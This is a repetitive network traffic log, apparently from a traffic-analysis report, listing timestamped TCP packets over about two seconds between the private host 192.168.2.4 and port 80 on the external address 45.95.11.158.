Aug 23, 2022 03:42:58.312552929 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.312567949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.312612057 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.312633038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.312781096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.312874079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.312911987 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.312927961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.312969923 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.312980890 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.313020945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.313031912 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.313066006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.313088894 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.313102961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.313134909 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.313184023 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.313204050 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.313251019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.313277960 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.313296080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.313337088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.313389063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.313426018 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.313453913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.313482046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.646912098 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.681629896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.776268959 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.776297092 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.776313066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.776329994 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.776348114 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.776362896 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.776374102 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.776392937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.776408911 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.776422977 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.776436090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.776457071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.776463032 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.776479959 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.776488066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.776510954 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.776530027 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.813577890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.813630104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.813688993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.813714027 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.813769102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.813807011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.813832045 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.813852072 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.813971043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.814017057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.814038038 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.814064026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.814261913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.814321041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.814337015 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.814369917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.814412117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.814454079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.814477921 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.814502001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.814531088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.814567089 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.814585924 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.814620018 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.814637899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.814677000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.814694881 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.814730883 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.814769983 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.814802885 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.814837933 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.814898014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.814910889 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.814956903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.814984083 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.815051079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.815066099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.815118074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.815175056 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.815184116 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.848412037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.848472118 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.848551035 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.848690987 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.848748922 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.848762989 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.848815918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.848876953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.848917961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.848974943 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.849014044 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.849096060 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.849145889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.849174976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.849190950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.849216938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.849225044 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.849250078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.849261045 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.849284887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.849296093 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.849318027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.849328995 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.849360943 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.849519014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.849543095 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.849560022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.849584103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.849622011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.849647045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.849662066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.849689960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.849697113 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.849719048 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.849734068 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.849765062 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.849783897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.849807978 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.849834919 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.849852085 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.849869967 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.849893093 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.849910021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.849927902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.849939108 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.849961996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.849972963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.850003958 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.850023031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.850047112 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.850064039 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.850086927 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.850244045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.850266933 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.850287914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.850310087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.850439072 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.850491047 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.850522041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.850547075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.850573063 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.850599051 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.850620985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.850631952 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.850656033 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.850667953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.850692034 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.850720882 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.850728989 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.850735903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.850760937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.850771904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.850817919 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.850838900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.850866079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.850884914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.850905895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.850929022 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.850970030 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.884104013 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.884169102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.884198904 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.884227037 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.884264946 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.884308100 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.884327888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.884377956 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.884393930 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.884437084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.884474039 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.884501934 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.884521008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.884588003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.884634018 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.884676933 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.884696007 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.884731054 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.884763002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.884804010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.884840012 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.884865999 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.884963989 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.885008097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.885029078 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.885061026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.885094881 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.885135889 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.885155916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.885200977 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.885221958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.885262966 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.885278940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.885322094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.885340929 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.885376930 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.885401011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.885445118 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.885487080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.885504961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.885556936 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.885570049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.885582924 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.885632992 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.885649920 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.885689974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.885711908 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.885751009 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.885770082 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.885818005 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.885832071 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.885870934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.885916948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.885929108 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.885936022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.885962009 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.885992050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.886037111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.886049986 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.886089087 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.886111021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.886151075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.886197090 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.886205912 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.886226892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.886274099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.886301994 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.886352062 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.886388063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.886444092 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.886460066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.886492968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.886518002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.886560917 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.886579037 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.886607885 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.886639118 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.886679888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.886698961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.886732101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.886758089 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.886809111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.886822939 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.886864901 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.886881113 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.886925936 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.886944056 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.886979103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.887002945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.887051105 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.887063980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.887104988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.887156010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.887170076 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.887177944 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.887201071 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.887236118 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.887275934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.887296915 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.887326002 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.887378931 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.887422085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.887440920 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.887475014 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.887499094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.887540102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.887558937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.887593031 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.887619019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.887660980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.887680054 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.887716055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.887741089 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.887787104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.887799978 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.887833118 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.887856960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.887902975 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.887916088 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.887953043 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.887976885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.888025045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.888036966 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.888077974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.888089895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.888124943 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.903728008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.903820038 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.904033899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.904083014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.904108047 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.904151917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.904185057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.904231071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.904253006 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.904293060 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.904326916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.904373884 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.904397011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.904437065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.904476881 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.904542923 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.904567003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.904612064 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.904659986 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.904705048 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.904735088 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.904767990 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.904823065 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.904886961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.904905081 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.904973030 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.904989004 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.905024052 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.905046940 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.905088902 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.905119896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.905160904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.905185938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.905225039 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.923880100 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.923926115 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.923981905 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.924001932 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.924031973 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.924093962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.924107075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.924145937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.924180984 CEST	80	49743	45.95.11.158	192.168.2.4
